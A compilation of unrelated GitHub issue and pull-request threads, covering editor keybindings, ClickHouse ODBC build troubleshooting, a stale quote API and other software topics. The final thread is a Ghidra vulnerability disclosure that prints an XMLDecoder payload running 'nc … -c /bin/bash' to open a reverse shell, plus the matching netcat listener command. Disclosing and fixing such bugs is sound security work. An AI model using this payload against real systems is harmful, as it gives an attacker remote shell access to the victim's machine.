As for your workaround, I like it but for one.... it feels a bit hacky. I feel like I'd make it and then a week from now come back and completely forget how I actually created it. And of course, with no sane "go to definition" functionality for keybindings or settings JSON documents, I'd be stuck trying to remember exactly how this works, and I'm not a fan of configurations that can feel a bit too magical. I'm patient enough to wait for a "proper" implementation, at least on the consumer side (I'd hate it for this to get a bit hacky on your side, but naturally I'd leave that decision up to you).
Unfortunately, your first option in the latest comment won't work, because it doesn't keep all three conditions under the same keybinding. As far as I can tell, it only will close the sidebar if the explorer view is visible, which only matches 1/3 of the options that cmd+f t cover with my current keybindings.
To be honest, the current implementation of SPC f t in VSpaceCode is almost there, so I'll probably just open an issue in the VSpaceCode repo proper (it's just missing no. 3 in the condition I mentioned above, which is closing the sidebar if the explorer is visible - currently it just focuses the editor). The example I provided was more of a jumping off point for how to get vscode-which-key to invoke an existing keybinding, which (unfortunately) seems like it's not possible.
Last thing; I do think that your exploration into how to implement "when" conditions similar to how you can set them in native keybindings is worth continuing, but not sure if it fits into the spirit of this issue. Perhaps you should create a new issue referencing that to make sure that you don't lose that train of thought?

Unfortunately, your first option in the latest comment won't work, because it doesn't keep all three conditions under the same keybinding. As far as I can tell, it only will close the sidebar if the explorer view is visible, which only matches 1/3 of the options that cmd+f t cover with my current keybindings.

Just want to make sure I understand. The first option doesn't work for you because

the bindings are not in the same place (config experience issue)

and

functionally not working

If there is a functionally issue, I'd like to know what's missing. I am current running that config and it seems to satisfy your 3 conditions you mentioned in the first post.

The example I provided was more of a jumping off point for how to get vscode-which-key to invoke an existing keybinding, which (unfortunately) seems like it's not possible.
Last thing; I do think that your exploration into how to implement "when" conditions similar to how you can set them in native keybindings is worth continuing, but not sure if it fits into the spirit of this issue. Perhaps you should create a new issue referencing that to make sure that you don't lose that train of thought?

I read this issue more as how to execute binding with a when condition, and I thoughts that's what you are trying to achieve when invoking keybindings (shortcuts). If you want to keep it issue strict to track the work to invoking keybindings, I can see another issue being valuable.

Yeah honestly I opened this in the spirit of "can this extension run existing shortcuts directly", so a new issue might be better.
As for implementation, I must've messed something up, because I just double-checked my config and its working as expected; sorry about that. I don't think I want to keep it that way more because of the configuration issue though.

Created #11,  although, realistically I am not optimistic that vscode will ever allow extension to invoke keybindings (shortcuts).

@stevenguh just noticed an unintentional side effect of the above t_ implementation that I'm not sure how to deal with aside from removing it altogether.
Now when I execute SPC p t, I can't hit the t menu item, it just inserts t_:

Also, I replaced the default SPC p p keybinding with the projectManager.listProjects, and for some reason when I'm searching for projects I can't type the literal letter t anymore. When I removed the t_ keybindings, the problem goes away entirely.

That's the one of the cons about that approach (hack) I described above.

One downside of this approach is that, t_ will be entered into other parts of menu when sideBarVisible && explorerViewletVisible and causing the regular t not execute.

You can add t_ binding in <spc> p to fix this in the short term.

Oh blah sorry I glossed over that bit. Thanks!


[Todo] modify text when choosing the preset

When a preset is to be chosen, the labels are microshift and openshift, they should be MicroShift and OpenShift

Please also note the text seems truncated as it ends by ....

no final texts have been decided on as this dialog is not according to
design (missing functionality). just a placeholder for now.
On Thu, May 4, 2023, 00:42 Jeff MAURY @.***> wrote:

Please also note the text seems truncated as it ends by ....
—
Reply to this email directly, view it on GitHub
https://github.com/crc-org/crc-extension/issues/74#issuecomment-1533364616,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAAOZUT5YSNJIUCKJJA3FDXEKDIZANCNFSM6AAAAAAXUS5CUA
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

https://github.com/crc-org/crc-extension/blob/dcf5f11e64c6acf1095248a18337668d6cf86c07/src/crc-setup.ts#L40-L41

Awaiting the markdown option to allow to 'style' the current selection dialog. @cdrage says this is possible, but has not been exposed as part of the API. Related to: https://github.com/containers/podman-desktop/issues/1920

Ok so for the time being, let's use:

Title: Red Hat OpenShift Local Preset
Description:
Which preset bundle would you like to use with OpenShift Local. Microshift (experimental), provides a lightweight and optimized environment with a limited set of services. OpenShift, provides a single node OpenShift cluster with a fuller set of services, including a web console (requires more resources).
Buttons

Left: "MircroShift (experimental)"
Right: "OpenShift"

Is that possible?

Will do... Awaiting @cdrage's response on #1920

Sounds good to me for the time being


Filter environment variables

Filter environment variables to prevent unintended leakage of environment variables.

@nicomt Thank you for this PR. I think that the best solution is to follow the official Vite documentation and remove process.env from vite.config.mjs - https://vitejs.dev/guide/env-and-mode

👌I agree. Thanks


fix: don't validate policy and response if there's no matching route

If we activate fall_through and the request path does not match the OAPI spec, we have to skip :

request policy check
response validation

Supersed by #12


Expose conversions between AbstractHash and ShortByteString

This avoids a double conversion in case we want or already have a
ShortByteString.

Eventually, we'll use these conversions functions for https://github.com/input-output-hk/ouroboros-network/pull/2266.

bors merge


Validate M-Ladder chip configs

Ben's commits with the config and template image was before the apartment registration PR so these configs should be checked to make sure they work with that new feature (since it requires some extra properties to be set)

@eric-czech You are definitely right about new problems with the ML01 chip config after your latest update.  I re-did the Via.html files in your new format and uploaded the new files. I still have to validate that they identify the correct features on the chip, and the code is currently running.  Will report later on that.

Hey @benjaminyellen ,
I ran that multi-color dataset you shared with your new MLadder chip configuration and it looks pretty good as far as I can tell.  Or at the very least, I think one way of looking at is like this where the number of images per apartment (i.e. "Number of Measurements" in the Arrays page in the app) should be 1 everywhere:

There are a few apartments assigned nonsense st/apt numbers (highlighted in red circles) and a few in the middle of the array with 0 (dark blue) or 2 (green) associated images, but overall that seems great.  It looks like there are about 40 obvious mistakes in that heatmap which implies an error rate around 6 bad apartments per 1000 (40 / (47 * 128) = .0066 = .7%).  Nice job training that marker model!
Let me know if you're getting results like that too and if so, I think we can safely close this out.
p.s. this is with the apartment registration feature turned on (which is the default now)

This is interesting (@benjaminyellen ) -- here's the same thing with registration turned off:

A rough count suggests there about 2.5x as many errors (~100 vs ~40) without that registration feature on so hopefully you're seeing about the same level of improvement over the previous MLadder results you had.

Hi @eric-czech,
With the registration turned on, I can confirm that virtually all of the incorrect street/apt numbers are now caused by fabrication defects.  There were a couple example of where the model incorrectly called 3s as 8s, however even these were due to poor fabrication resolution. This means, it's now on us to make better chips. :)

Excellent, thanks @benjaminyellen -- I'll close this guy out then.


Add Testing for SortCommand

Added additional checking in SortCommand for valid tag
Added testing for SortCommand and SortCommandParser

My testing of Sort Command does NOT account for sorting people with null tags which by right end to be at the back. Lets look into adding typical people with tag values


Clickhouse odbc issue

Guys we have followed below link for debian installation clickhouse with odbc driver but we face below error
https://github.com/ClickHouse/clickhouse-odbc#building-from-sources-debianubuntu
perl: warning: Falling back to the standard locale ("C").
Can't locate DBI.pm in @inc (@inc contains: /opt/rh/devtoolset-8/root//usr/lib64/perl5/vendor_perl /opt/rh/devtoolset-8/root/usr/lib/perl5 /opt/rh/devtoolset-8/root//usr/share/perl5/vendor_perl /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at /home/centos/clickhouse-odbc/test/detect_driver_manager.pl line 8.
BEGIN failed--compilation aborted at /home/centos/clickhouse-odbc/test/detect_driver_manager.pl line 8.
-- ODBC Driver Manager used by Perl's DBD::ODBC:
Traceback (most recent call last):
File "/home/centos/clickhouse-odbc/test/detect_driver_manager.py", line 5, in
import pyodbc

Can you post the entire output of cmake configure step? Does it generate the build scripts after outputting this? Such errors are not critical, the appropriate test (perl client) will be just disabled.

Hi ClickHouse/clickhouse-odbc,
Please find details below process - we are using debian 9.4
sudo apt install build-essential git cmake libpoco-dev libssl-dev
libicu-dev unixodbc-dev
sudo snap install cmake --classic
git clone --recursive https://github.com/ClickHouse/clickhouse-odbc.git

163  cd clickhouse-odbc/
164  ls
165  mkdir build
166  cd build/
167  cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo ..
168  sudo apt-get install libdbi-perl
now it gave below error
cmake --build . --config RelWithDebInfo
[ 93%] Built target Foundation
[ 93%] Built target crypto
[ 93%] Built target ssl
[ 93%] Built target Crypto
[ 93%] Built target XML
[ 93%] Built target JSON
[ 93%] Built target Util
[ 93%] Built target Net
[ 93%] Built target NetSSL
[ 93%] Building CXX object
driver/CMakeFiles/clickhouse-odbc-impl.dir/utils/type_parser.cpp.o
In file included from
/home/debian/clickhouse-odbc/driver/utils/type_parser.cpp:2:0:
/home/debian/clickhouse-odbc/driver/utils/utils.h:30:23: *fatal
error: *string_view:
No such file or directory
#include <string_view>
                   *^*

compilation terminated.
driver/CMakeFiles/clickhouse-odbc-impl.dir/build.make:81: recipe for target
'driver/CMakeFiles/clickhouse-odbc-impl.dir/utils/type_parser.cpp.o' failed
make[2]: ***
[driver/CMakeFiles/clickhouse-odbc-impl.dir/utils/type_parser.cpp.o] Error 1
CMakeFiles/Makefile2:2346: recipe for target
'driver/CMakeFiles/clickhouse-odbc-impl.dir/all' failed
make[1]: *** [driver/CMakeFiles/clickhouse-odbc-impl.dir/all] Error 2
Makefile:181: recipe for target 'all' failed
make: *** [all] Error 2
On Tue, Sep 15, 2020 at 8:43 PM Denis Glazachev<EMAIL_ADDRESS>wrote:

Can you post the entire output of cmake configure step? Does it generate
the build scripts after outputting this? Such errors are not critical, the
appropriate test (perl client) will be just disabled.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-692782031,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3IURNE7TXONPKTLR63SF6AA7ANCNFSM4RM6I25Q
.

string_view is C++17 feature. Does your compiler fully support C++17?

g++ --version
g++ (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
On Tue, Sep 15, 2020 at 8:52 PM Denis Glazachev<EMAIL_ADDRESS>wrote:

string_view is C++17 feature. Does your compiler fully support C++17?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-692789396,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3KV3DXBWBUB6YWUMXTSF6BE5ANCNFSM4RM6I25Q
.

How can we install c++17 on debian.
On Tue, Sep 15, 2020 at 9:41 PM Sanjay Agrawal<EMAIL_ADDRESS>wrote:

g++ --version
g++ (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
On Tue, Sep 15, 2020 at 8:52 PM Denis Glazachev<EMAIL_ADDRESS>wrote:

string_view is C++17 feature. Does your compiler fully support C++17?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-692789396,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3KV3DXBWBUB6YWUMXTSF6BE5ANCNFSM4RM6I25Q
.

Try installing g++-7 or g++-8 package.

Hi ClickHouse/clickhouse-odbc,
How to install C++17 in debian 9.4
On Tue, Sep 15, 2020 at 9:44 PM Sanjay Agrawal<EMAIL_ADDRESS>wrote:

How can we install c++17 on debian.
On Tue, Sep 15, 2020 at 9:41 PM Sanjay Agrawal<EMAIL_ADDRESS>wrote:

g++ --version
g++ (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is
NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.
On Tue, Sep 15, 2020 at 8:52 PM Denis Glazachev<EMAIL_ADDRESS>wrote:

string_view is C++17 feature. Does your compiler fully support C++17?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-692789396,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3KV3DXBWBUB6YWUMXTSF6BE5ANCNFSM4RM6I25Q
.

Currently it is 6.3 how to upgrade g++8 version..
Please share steps
On Tue, 15 Sep, 2020, 9:51 pm Sanjay Agrawal<EMAIL_ADDRESS>wrote:

Hi ClickHouse/clickhouse-odbc,
How to install C++17 in debian 9.4
On Tue, Sep 15, 2020 at 9:44 PM Sanjay Agrawal<EMAIL_ADDRESS>wrote:

How can we install c++17 on debian.
On Tue, Sep 15, 2020 at 9:41 PM Sanjay Agrawal<EMAIL_ADDRESS>wrote:

g++ --version
g++ (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is
NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.
On Tue, Sep 15, 2020 at 8:52 PM Denis Glazachev <
<EMAIL_ADDRESS>wrote:

string_view is C++17 feature. Does your compiler fully support C++17?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-692789396,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3KV3DXBWBUB6YWUMXTSF6BE5ANCNFSM4RM6I25Q
.

Try
sudo apt get install g++-8
or
sudo apt get install gcc-8
then set the following env vars before calling cmake configure step (in clean build dir):
CXX=g++-8 CC=gcc-8 cmake ...

I installed above github procedure on debian 10 and get following error.
Can't locate DBI.pm in @INC (you may need to install the DBI module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.0 /usr/local/share/perl/5.30.0 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) at /home/ubuntu/clickhouse-odbc/test/detect_driver_manager.pl line 8.
BEGIN failed--compilation aborted at /home/ubuntu/clickhouse-odbc/test/detect_driver_manager.pl line 8.
-- ODBC Driver Manager used by Perl's DBD::ODBC:
-- ODBC Driver Manager used by Python 3's pyodbc: unixODBC
-- Testing with:
TEST_DSN_LIST=ClickHouse DSN (ANSI);ClickHouse DSN (Unicode)
PERL=/usr/bin/perl
PERL_USES_MDAC=0
PERL_USES_UNIXODBC=0
PERL_USES_IODBC=0
PYTHON2=PYTHON2-NOTFOUND
PYTHON2_USES_MDAC=0
PYTHON2_USES_UNIXODBC=0
PYTHON2_USES_IODBC=0
PYTHON3=/usr/bin/python3
PYTHON3_USES_MDAC=0
PYTHON3_USES_UNIXODBC=1
PYTHON3_USES_IODBC=0
ODBC_UNIXODBC_ISQL=
ODBC_UNIXODBC_IUSQL=
ODBC_IODBC_IODBCTEST=
ODBC_IODBC_IODBCTESTW=
SQLCMD=SQLCMD-NOTFOUND
-- Configuring done
-- Generating done

sudo apt-get install libdbi-perl now getting below error.
install_driver(ODBC) failed: Can't locate DBD/ODBC.pm in @INC (you may need to install the DBD::ODBC module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.0 /usr/local/share/perl/5.30.0 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) at (eval 8) line 3.Perhaps the DBD::ODBC perl module hasn't been fully installed,or perhaps the capitalisation of 'ODBC' isn't right.

I have install this one cpan DBD::ODBC also but same issue. Please help.

final command gave below error
cmake --build . --config RelWithDebInfo --target test
Running tests...
Test project /home/ubuntu/clickhouse-odbc/build
Start  1: clickhouse-odbc-ut
1/20 Test  #1: clickhouse-odbc-ut ...................   Passed    0.02 sec
Start  2: clickhouse-odbc-load-ut
2/20 Test  #2: clickhouse-odbc-load-ut ..............   Passed    0.00 sec
Start  3: clickhouse-odbc-load-ut-w
3/20 Test  #3: clickhouse-odbc-load-ut-w ............   Passed    0.00 sec
Start  4: clickhouse-odbc-client-it-dsn-0
4/20 Test  #4: clickhouse-odbc-client-it-dsn-0 ......***Failed    0.03 sec
Start  5: clickhouse-odbc-client-it-dsn-1
5/20 Test  #5: clickhouse-odbc-client-it-dsn-1 ......***Failed    0.02 sec
Start  6: clickhouse-odbc-nano-it-dsn-0
6/20 Test  #6: clickhouse-odbc-nano-it-dsn-0 ........***Failed    0.00 sec
Start  7: clickhouse-odbc-nano-it-dsn-1
7/20 Test  #7: clickhouse-odbc-nano-it-dsn-1 ........***Failed    0.00 sec
Start  8: clickhouse-odbcw-ut
8/20 Test  #8: clickhouse-odbcw-ut ..................   Passed    0.01 sec
Start  9: clickhouse-odbcw-load-ut
9/20 Test  #9: clickhouse-odbcw-load-ut .............   Passed    0.00 sec
Start 10: clickhouse-odbcw-load-ut-w
10/20 Test #10: clickhouse-odbcw-load-ut-w ...........   Passed    0.00 sec
Start 11: clickhouse-odbcw-client-it-dsn-0
11/20 Test #11: clickhouse-odbcw-client-it-dsn-0 .....***Failed    0.03 sec
Start 12: clickhouse-odbcw-client-it-dsn-1
12/20 Test #12: clickhouse-odbcw-client-it-dsn-1 .....***Failed    0.02 sec
Start 13: clickhouse-odbcw-nano-it-dsn-0
13/20 Test #13: clickhouse-odbcw-nano-it-dsn-0 .......***Failed    0.00 sec
Start 14: clickhouse-odbcw-nano-it-dsn-1
14/20 Test #14: clickhouse-odbcw-nano-it-dsn-1 .......***Failed    0.00 sec
Start 15: test.pl-dsn-0
15/20 Test #15: test.pl-dsn-0 ........................***Failed    0.18 sec
Start 16: test.py-3-dsn-0
16/20 Test #16: test.py-3-dsn-0 ......................***Failed    0.23 sec
Start 17: parametrized-regression.py-3-dsn-0
17/20 Test #17: parametrized-regression.py-3-dsn-0 ...***Failed    0.20 sec
Start 18: test.pl-dsn-1
18/20 Test #18: test.pl-dsn-1 ........................***Failed    0.12 sec
Start 19: test.py-3-dsn-1
19/20 Test #19: test.py-3-dsn-1 ......................***Failed    0.19 sec
Start 20: parametrized-regression.py-3-dsn-1
20/20 Test #20: parametrized-regression.py-3-dsn-1 ...***Failed    0.20 sec
30% tests passed, 14 tests failed out of 20
Total Test time (real) =   1.30 sec
The following tests FAILED:
4 - clickhouse-odbc-client-it-dsn-0 (Failed)
5 - clickhouse-odbc-client-it-dsn-1 (Failed)
6 - clickhouse-odbc-nano-it-dsn-0 (Failed)
7 - clickhouse-odbc-nano-it-dsn-1 (Failed)
11 - clickhouse-odbcw-client-it-dsn-0 (Failed)
12 - clickhouse-odbcw-client-it-dsn-1 (Failed)
13 - clickhouse-odbcw-nano-it-dsn-0 (Failed)
14 - clickhouse-odbcw-nano-it-dsn-1 (Failed)
15 - test.pl-dsn-0 (Failed)
16 - test.py-3-dsn-0 (Failed)
17 - parametrized-regression.py-3-dsn-0 (Failed)
18 - test.pl-dsn-1 (Failed)
19 - test.py-3-dsn-1 (Failed)
20 - parametrized-regression.py-3-dsn-1 (Failed)
Errors while running CTest
make: *** [Makefile:126: test] Error 8

Its is done but in tableau server get following error -
[unixODBC][Driver Manager]Can't open lib 'ClickHouse Unicode' : file not found
Generic ODBC requires additional configuration. The driver and DSN (data source name) must be installed and configured to match the connection.
Unable to connect using the DSN named "test". Check that the DSN exists and is a valid connection.
cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo ..
-- CMAKE_BUILD_TYPE: RelWithDebInfo
-- Using ODBC: UnixODBC
-- 	ODBC_DIR=/usr
-- 	ODBC_CONFIG_SCRIPT=
-- 	ODBC_UNIXODBC_ISQL=
-- 	ODBC_UNIXODBC_IUSQL=
-- 	ODBC_APP_DEFINES=
-- 	ODBC_APP_INCLUDE_DIRS=/usr/include
-- 	ODBC_APP_COMPILER_FLAGS=
-- 	ODBC_APP_LINKER_FLAGS=/usr/lib/x86_64-linux-gnu/libodbc.so
-- 	ODBC_DRIVER_DEFINES=
-- 	ODBC_DRIVER_INCLUDE_DIRS=/usr/include
-- 	ODBC_DRIVER_COMPILER_FLAGS=
-- 	ODBC_DRIVER_LINKER_FLAGS=/usr/lib/x86_64-linux-gnu/libodbcinst.so
-- Found ODBC: TRUE
-- Found the following ICU libraries:
--   uc (required)
CMake Warning (dev) at contrib/ssl/CMakeLists.txt:11 (project):
Policy CMP0048 is not set: project() command manages VERSION variables.
Run "cmake --help-policy CMP0048" for policy details.  Use the cmake_policy
command to set the policy and suppress this warning.
The following variable(s) would be set to empty:
PROJECT_VERSION
PROJECT_VERSION_MAJOR
PROJECT_VERSION_MINOR
PROJECT_VERSION_PATCH
PROJECT_VERSION_TWEAK

This warning is for project developers.  Use -Wno-dev to suppress it.
-- Poco package version: 1.9.4
-- Checking for C++11 compiler
-- Checking for C++11 compiler - available
-- Checking for C++14 compiler
-- Checking for C++14 compiler - available
-- Setting Poco build type - RelWithDebInfo
-- Building static libraries
-- Building without tests & samples
-- Using internal sqlite, zlib, pcre, expat, ...

-- ODBC Driver Manager used by Perl's DBD::ODBC: unixODBC
-- ODBC Driver Manager used by Python 2's pyodbc: unixODBC
-- ODBC Driver Manager used by Python 3's pyodbc: unixODBC
-- Testing with:
TEST_DSN_LIST=ClickHouse DSN (ANSI);ClickHouse DSN (Unicode)
PERL=/usr/bin/perl
PERL_USES_MDAC=0
PERL_USES_UNIXODBC=1
PERL_USES_IODBC=0
PYTHON2=/usr/bin/python2
PYTHON2_USES_MDAC=0
PYTHON2_USES_UNIXODBC=1
PYTHON2_USES_IODBC=0
PYTHON3=/usr/bin/python3
PYTHON3_USES_MDAC=0
PYTHON3_USES_UNIXODBC=1
PYTHON3_USES_IODBC=0
ODBC_UNIXODBC_ISQL=
ODBC_UNIXODBC_IUSQL=
ODBC_IODBC_IODBCTEST=
ODBC_IODBC_IODBCTESTW=
SQLCMD=SQLCMD-NOTFOUND
-- Configuring done
-- Generating done
-- Build files have been written to: /home/debian/clickhouse-odbc/build

-- Build files have been written to: /home/debian/clickhouse-odbc/build

This means you can proceed and run compilation. The warnings are benign.

Errors while running CTest

This is because you didn't configure Driver and DSN for those tests. Only unit tests can be run without configured Driver and DSN (that should point to newly built binaries) and a running ClickHouse server. You can skip this unless you really want to run tests.

Its is done but in tableau server get following error -
[unixODBC][Driver Manager]Can't open lib 'ClickHouse Unicode' : file not found
Generic ODBC requires additional configuration. The driver and DSN (data source name) must be installed and configured to match the connection.
Unable to connect using the DSN named "test". Check that the DSN exists and is a valid connection.

You need to properly configure Driver and DSN entry for Tableau to see the driver and ClickHouse data source.

yes the main problem is after all step above i did not find clcikhouse.so
file on server
[ClickHouse]
Driver=/usr/lib/x86_64-linux-gnu/odbc/libclickhouseodbc.so
On Fri, Sep 18, 2020 at 3:56 AM Denis Glazachev<EMAIL_ADDRESS>wrote:

-- Build files have been written to: /home/debian/clickhouse-odbc/build
This means you can proceed and run compilation. The warnings are benign.
Errors while running CTest
This is because you didn't configure Driver and DSN for those tests. Only
unit tests can be run without configured Driver and DSN (that should point
to newly built binaries) and a running ClickHouse server. You can skip this
unless you really want to run tests.
Its is done but in tableau server get following error -
[unixODBC][Driver Manager]Can't open lib 'ClickHouse Unicode' : file not
found
Generic ODBC requires additional configuration. The driver and DSN (data
source name) must be installed and configured to match the connection.
Unable to connect using the DSN named "test". Check that the DSN exists
and is a valid connection.
You need to properly configure Driver and DSN entry for Tableau to see the
driver and ClickHouse data source.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClickHouse/clickhouse-odbc/issues/317#issuecomment-694532681,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APILF3PC2UZ7DZFUMZYNB4LSGKELBANCNFSM4RM6I25Q
.

When you build from sources, the binary is somewhere in build folder.
You can also run cmake --build . --config RelWithDebInfo --target package and find everything needed in the generated packages. No DBG package for Debian yet, you have to use .tar.gz file, copy and unpack it manually and fix paths accordingly. The .tar.gz file will be in build dir.


Automated testing workshop

Is your feature request related to a problem? Please describe.
The dev crew's testing needs vary depending on their engagements. But the challenge here is to be aware of the test types applicable to one’s engagement and how to upskill on those test types to deliver the right tests for the engagement.
Describe the solution you'd like
The group discussed creating a workshop to tackle this challenge. This task tracks the workshop proposal as a reference for other tasks.
One pager Automated Testing EF workshop proposal.docx

@alkofahi - this seems to be tracking work that is not related to the playbook - would it be possible to track this work elsewhere?
I will close the issue in the playbook repo, but just letting you know so you have a chance to add it to another issue system


haskellPackages: update stackage and hackage

This Merge
This PR is the regular merge of the haskell-updates branch into master.
This branch is being continually built and tested by hydra at https://hydra.nixos.org/jobset/nixpkgs/haskell-updates. You may be able to find an up-to-date Hydra build report at cdepillabout/nix-haskell-updates-status.
We roughly aim to merge these haskell-updates PRs at least once every two weeks. See the @NixOS/haskell team calendar for who is currently in charge of this branch.
haskellPackages Workflow Summary
Our workflow is currently described in pkgs/development/haskell-modules/HACKING.md.
The short version is this:

We regularly update the Stackage and Hackage pins on haskell-updates (normally at the beginning of a merge window).
The community fixes builds of Haskell packages on that branch.
We aim at at least one merge of haskell-updates into master every two weeks.
We only do the merge if the mergeable job is succeeding on hydra.
If a maintained package is still broken at the time of merge, we will only merge if the maintainer has been pinged 7 days in advance. (If you care about a Haskell package, become a maintainer!)

This is the follow-up to #157026. Come to #haskell:nixos.org if you have any questions.

[ ] Get this to work or install the file(s) manually

./Build/InstallDesktopFile /nix/store/zd9x9clipjhjpabymgdbff7g3g7n2i9p-git-annex-10.20220127/bin/git-annex || true
InstallDesktopFile: /usr: createDirectory: permission denied (Permission denied)


add code to register Mean GPU kernel

see #1433

Can one of the admins verify this patch?

This looks good, just checking with @benoitsteiner to make sure nothing strange is going on.

Jenkins, test this please.

Uh oh, it looks like this PR has uncovered a bug in the previously unexpected GPU reduce_mean code:
http://ci.tensorflow.org/job/tensorflow-pull-requests-gpu_pip/308/console
@benoitsteiner: Can you investigate?

@benoitsteiner just submitted the registration along with a fix to the untested kernel, so it should show up in open source soon.


Cldc 2636.2 Set uprn_known to no if address answered without uprn

replacing with https://github.com/communitiesuk/submit-social-housing-lettings-and-sales-data/pull/2054 as branch name is incorrect


[Lecture 4-2][1017] NMS in Canny Edge Detector

In page 50, in explaining Non-maximal Suppression, lecture note says NMS compares "intensity" of each pixel with two adjacent pixels.
But, in real NMS code, they compares "gradient magnitude".
I also think comparing "gradient magnitude" is right because NMS indirectly finds zero crossings, location of likely edges.
Then, in this page's explaining, does "intensity" mean "gradient magnitude" not "pixel value"?

@wonseok289
Thank you for the comment :)
Yepp! We compare the 'gradient magnitude' of each pixel. So, your understanding is correct.


Quote API stuck in time on Oct 14 2016

The quote API is stuck in time at Oct 14 2016 and its missing all the changes from Monday 17-th October. Is this know to the dev team? I am building an app for realtime tracking and wanted to give this api a try but looks like its having issues. Is the API still actively maintained? Would be nice to have a dashboard with API availability status if this happens occasionally for whatever reason.
Request: GET http://dev.markitondemand.com/Api/v2/Quote/json?symbol=AAPL
Response:
{   "Status": "SUCCESS",   "Name": "Apple Inc",   "Symbol": "AAPL",   "LastPrice": 117.63,   "Change": 0.649999999999991,   "ChangePercent": 0.555650538553592,   "Timestamp": "Fri Oct 14 00:00:00 UTC-04:00 2016",   "MSDate": 42657,   "MarketCap":<PHONE_NUMBER>90,   "Volume": 35652191,   "ChangeYTD": 105.26,   "ChangePercentYTD": 11.7518525555767,   "High": 118.17,   "Low": 117.13,   "Open": 117.88 }

facing same issue here, stuck at Oct 14. If this API no longer supported then I will have to evaluate some other provider.

Same as #38.  Quotes for some/all symbols are falling back to a data provider that only provides quotes from previous close.


Spawn npm install at the end?

Actually I can run start npm install (for Windows) and return the control to user so that user can start working.
This way the user aren't blocked and doesn't need to call npm install.

Implementing a "qoute of the day" in beta while it is installing


Ruby Extension

Hey! I made a ruby extension for this lib.  I have a branch here: https://github.com/mrb/hash-ring/tree/ruby_extension and the ruby gem is here: https://github.com/mrb/hash_ring

Hey, awesome! Can you add the gem info and rb file into the hash-ring project and send me a pull request?


Create an API backend

[ ] Api Tokens
[ ] Create ApiEndpoints
[ ] Make routes use the ApiEndpoints

Putting this on pause for a moment as I want to think about it more

Going to try TypeORM
https://www.npmjs.com/package/typeorm


[Feature]: allow invocation of Michelson entrypoints with annotations

Describe the feature you would like
taq simulate sample.tz 'Left (Left 3)' --storage 5 will invoke the entrypoint annotated with "decrement".
But we want to be able to do this instead: taq simulate sample.tz '3' --storage 5 --entrypoint decrement
Code of Conduct

[X] I agree to follow this project's Code of Conduct

This will be a great improvement!
As annotations are optional, we should ensure that both annotations and Michelson expressions work for taq simulate


Avoid disclosing private datasets

Change the error message when a dataset is private. Note that normally this error message was never shown in the API, but, it's better to reduce the risk of it being misused anyway
Also: return a specific error when the revision does not exist, but the dataset exists

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.


RCE possible in Function Bit Patterns Explorer Plugin

Description:
XMLDecoder is used in FileBitPatternInfoReader.java which causes a Remote Code Execution in the Bit Patterns Explorer Plugin.
Steps to reproduce the behavior:
1: Open a binary with CodeBrowser
2. Go to Window->Script Manager and select the "DumpFunctionPatternInfoScript"
3. Export the resulted XML file.
4. Add the following at the end of the file, after the closing tag of the last object and before the </java> closing tag:
<object class="java.lang.Runtime" method="getRuntime">     <void method="exec">         <string>nc <IP_ADDRESS> 1337 -c ’/bin/bash’</string>     </void> </object>

Open local listening server with : nc -lvnp 1337
Go to Window->Function Bit Patterns Explorer (you will need to enable experimental mode from configuration first File->Configure...)
In the opened plugin window, click "Read XML Files", point to the directory where the XML file was saved and click OK.
Go back to the listener and see the shell opened.

Expected behavior
No code from the xml files should be executed while running this plugin.
Environment:

OS: Kali Linux x86_64
Java Version: 11.0.4
Ghidra Version: 9.0.4

Fixed by a17728f8c12effa171b17a25ccfb7e7d9528c5d0

